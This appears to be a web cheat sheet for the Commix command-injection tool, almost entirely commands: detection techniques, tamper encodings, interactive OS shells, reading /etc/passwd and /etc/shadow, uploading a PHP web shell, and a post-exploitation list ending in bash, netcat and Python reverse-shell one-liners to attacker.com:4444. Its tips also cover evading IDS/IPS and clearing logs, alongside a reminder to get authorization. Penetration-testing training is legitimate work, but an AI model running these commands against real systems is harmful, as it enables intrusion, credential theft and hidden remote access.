Ir al contenido

Commix

pip install commix
commix --version
git clone https://github.com/commixproject/commix.git
cd commix
python3 commix.py --version
sudo apt-get update
sudo apt-get install commix
commix --version
docker pull commixproject/commix:latest
docker run -it commixproject/commix:latest commix --version
commix -u "http://target.com/page.php?id=1"
commix -u "http://target.com/page.php?id=1" --technique=c
commix -u "http://target.com/vulnerable.php?cmd=id" -p cmd
commix -u "http://target.com/page.php" -p "id,name,email"
commix --technique=?
# Direct output visible in response
commix -u "http://target.com/page.php?id=1" --technique=c
commix -u "http://target.com/page.php?id=1" -c "whoami"

# Payload structure: id=1 ; whoami
# Server-side code evaluation
commix -u "http://target.com/page.php?id=1" --technique=e
commix -u "http://target.com/page.php?id=1" --technique=e -c "id"

# Common in PHP eval(), Python exec()
# No output, detection via time delays
commix -u "http://target.com/page.php?id=1" --technique=t
commix -u "http://target.com/page.php?id=1" --technique=t --time-sec=5

# Payload: id=1 ; sleep(5) ; id
# Write to accessible file, then retrieve
commix -u "http://target.com/page.php?id=1" --technique=f
commix -u "http://target.com/page.php?id=1" --technique=f --file-write="/var/www/html/shell.php"
commix -u "http://target.com/login.php" --data="username=admin&password=test"
commix -u "http://target.com/api.php" --data="cmd=ls" -p cmd
commix -u "http://target.com/api/search" \
  --data='{"query":"test","filter":"1"}' -p filter
commix -u "http://target.com/upload.php" \
  --data="file=test.txt&name=admin" -p name
# Scan all cookies
commix -u "http://target.com/page.php" --cookie="session=abc123;role=user"

# Target specific cookie
commix -u "http://target.com/page.php" \
  --cookie="session=abc123;role=user" -p role
commix -u "http://target.com/page.php" \
  --cookie="id=1; path=/; domain=target.com" --technique=t
commix -u "http://target.com/page.php?id=1" \
  --user-agent="Mozilla/5.0 (Commix Test)"
commix -u "http://target.com/page.php" \
  --headers="X-Forwarded-For: 127.0.0.1" -p "X-Forwarded-For"

commix -u "http://target.com/api.php" \
  --headers="Authorization: Bearer token123" -p "Authorization"
commix -u "http://target.com/page.php?id=1" \
  --referer="http://attacker.com"
commix -u "http://target.com/admin/page.php?id=1" \
  --auth-type=basic --auth-cred="username:password"
commix -u "http://target.com/secure/page.php?id=1" \
  --auth-type=digest --auth-cred="admin:secretpass"
commix -u "http://target.com/api/search.php" \
  --headers="Authorization: Bearer eyJhbGciOiJIUzI1NiJ9..."
commix -u "http://target.com/page.php?id=1" \
  --proxy="http://127.0.0.1:8080"
commix -u "http://target.com/page.php?id=1" \
  --proxy="socks5://127.0.0.1:9050"
commix -u "http://target.com/page.php?id=1" \
  --proxy="http://user:pass@proxy.com:8080"
commix -u "https://target.com/page.php?id=1" --ssl-verify=false
commix -u "http://target.com/page.php?id=1" --os-shell
# Execute commands interactively
whoami
id
cat /etc/passwd
# Attempts to spawn full shell
commix -u "http://target.com/page.php?id=1" --os-shell --shell-type=bash

# Falls back to command-by-command execution
exit
quit
commix -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
commix -u "http://target.com/page.php?id=1" --file-read="/etc/shadow"
commix -u "http://target.com/page.php?id=1" --file-read="/var/www/html/config.php"
# Write payload/shell to accessible directory
commix -u "http://target.com/page.php?id=1" \
  --file-write="/path/to/local/shell.php" \
  --file-dest="/var/www/html/uploads/shell.php"
# After file-write, access the uploaded file
curl http://target.com/uploads/shell.php?cmd=id
# Location: ~/.commix/tamper/custom_tamper.py
vim ~/.commix/tamper/custom_tamper.py
# ~/.commix/tamper/base64encode.py
def tamper(payload):
    import base64
    return base64.b64encode(payload.encode()).decode()
commix -u "http://target.com/page.php?id=1" \
  --tamper="base64encode"

# Multiple tampers
commix -u "http://target.com/page.php?id=1" \
  --tamper="base64encode,urlencoding"
# View available tamper modules
commix --tamper-list

# Common tampers: space2plus, space2tab, comment, encoding
commix -u "http://target.com/page.php?id=1" \
  --tamper="space2plus" -c "whoami"

commix -u "http://target.com/page.php?id=1" \
  --tamper="space2tab" -c "whoami"
# Backticks: `whoami`
# Dollar syntax: $(whoami)
# Command substitution handled automatically by commix
commix -u "http://target.com/page.php?id=1" \
  --tamper="urlencoding" -c "cat /etc/passwd"
# Standard: id ; whoami
# AND operator: id && whoami
# OR operator: id || whoami
# Pipe: id | base64
commix -u "http://target.com/page.php?id=1" \
  --tamper="hexencode" -c "ls -la"

commix -u "http://target.com/page.php?id=1" \
  --tamper="base64encode" -c "whoami"
# Common vulnerable parameters
commix -u "http://target.com/ping.php?ip=127.0.0.1" -p ip
commix -u "http://target.com/lookup.php?domain=example.com" -p domain
commix -u "http://target.com/convert.php?url=file:///etc/passwd" -p url
commix -u "http://target.com/search.php?q=test&sort=id" -p "q,sort"
commix -u "http://target.com/filter.php?category=admin&type=user" -p "category,type"
commix -u "http://target.com/process.php?file=upload.txt"
commix -u "http://target.com/convert.php?input=file.pdf"
# 1. Capture request in Burp Proxy
# 2. Copy to clipboard or save to file
# 3. Use Commix with request file

commix -r burp_request.txt
# Use Burp Collaborator for blind injection detection
commix -u "http://target.com/page.php?id=1" \
  --technique=t \
  --time-sec=10
commix -u "http://target.com/page.php?id=1" \
  --batch \
  --output-dir="./results/"
commix -u "http://target.com/page.php?id=1" --batch
commix -u "http://target.com/page.php?id=1" --batch -c "id"
# Skip detection, force specific technique
commix -u "http://target.com/page.php?id=1" --technique=c --force
# Verbose output
commix -u "http://target.com/page.php?id=1" -v

# Very verbose
commix -u "http://target.com/page.php?id=1" -vv

# Save output to file
commix -u "http://target.com/page.php?id=1" --output-dir="./logs/"
# Crawl website for parameters
commix -u "http://target.com/" --crawl=2

# Specify threads
commix -u "http://target.com/page.php?id=1" --threads=10
# Add delay between requests
commix -u "http://target.com/page.php?id=1" --delay=2

# Set timeout for responses
commix -u "http://target.com/page.php?id=1" --timeout=30

# Time-based blind injection delay
commix -u "http://target.com/page.php?id=1" --technique=t --time-sec=10
# 1. Test all parameters with auto detection
commix -u "http://target.com/page.php?id=1&name=test" --batch

# 2. Identify injection point and technique
# (Commix outputs results)

# 3. Gain interactive shell
commix -u "http://target.com/page.php?id=1" --os-shell

# 4. Read sensitive files
commix -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
# 1. Detect with time-based
commix -u "http://target.com/blind.php?id=1" --technique=t

# 2. Verify vulnerability
commix -u "http://target.com/blind.php?id=1" --technique=t -c "whoami"

# 3. Exfiltrate data via file-write or OOB channel
commix -u "http://target.com/blind.php?id=1" \
  --file-write="exfil.php" --file-dest="/var/www/html/"
# 1. Test multiple tamper techniques
commix -u "http://target.com/page.php?id=1" \
  --tamper="space2plus,comment" --technique=t

# 2. Adjust timing
commix -u "http://target.com/page.php?id=1" --delay=5 --timeout=60

# 3. Use encoding
commix -u "http://target.com/page.php?id=1" --tamper="hexencode"
whoami          # Current user
id              # User and group IDs
pwd             # Current directory
uname -a        # System information
cat /etc/os-release  # OS details
ls -la          # List with hidden files
cat /etc/passwd # User enumeration
find / -type f -name "*.php" 2>/dev/null  # Find PHP files
bash -i >& /dev/tcp/attacker.com/4444 0>&1
nc attacker.com 4444 -e /bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.Popen(["/bin/sh","-i"]);p.wait()'
# Verify parameter is vulnerable manually
# Test with manual payload first
# Try different techniques: --technique=c,e,t,f

# Check if filtering is in place
commix -u "http://target.com/page.php?id=1" --tamper="space2plus"
# Use --force to skip detection
commix -u "http://target.com/page.php?id=1" --force -c "id"

# Test with known working payload
commix -u "http://target.com/page.php?id=1" -c "whoami" --technique=c
# Increase timeout
commix -u "http://target.com/page.php?id=1" --timeout=60

# Reduce threads
commix -u "http://target.com/page.php?id=1" --threads=1
# Verify proxy is running
# Check proxy authentication
commix -u "http://target.com/page.php?id=1" \
  --proxy="http://user:pass@proxy:8080" -v
  1. Always get authorization before testing on any system
  2. Test locally first with intentionally vulnerable apps (DVWA, WebGoat)
  3. Use Burp Suite to capture real requests and refine parameters
  4. Start with simple payloads before complex encoding/tamper scripts
  5. Document findings with screenshots and proof-of-concept commands
  6. Respect scope and only test authorized parameters
  7. Use time delays carefully to avoid IDS/IPS detection on time-based blinds
  8. Clean up after testing - remove uploaded shells and clear logs